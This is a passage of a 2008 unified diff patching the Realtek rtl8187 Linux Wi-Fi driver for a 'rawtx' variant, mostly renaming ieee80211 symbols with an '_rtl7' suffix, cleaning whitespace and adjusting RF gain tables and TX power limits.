ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-02-15 00:49:20.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + 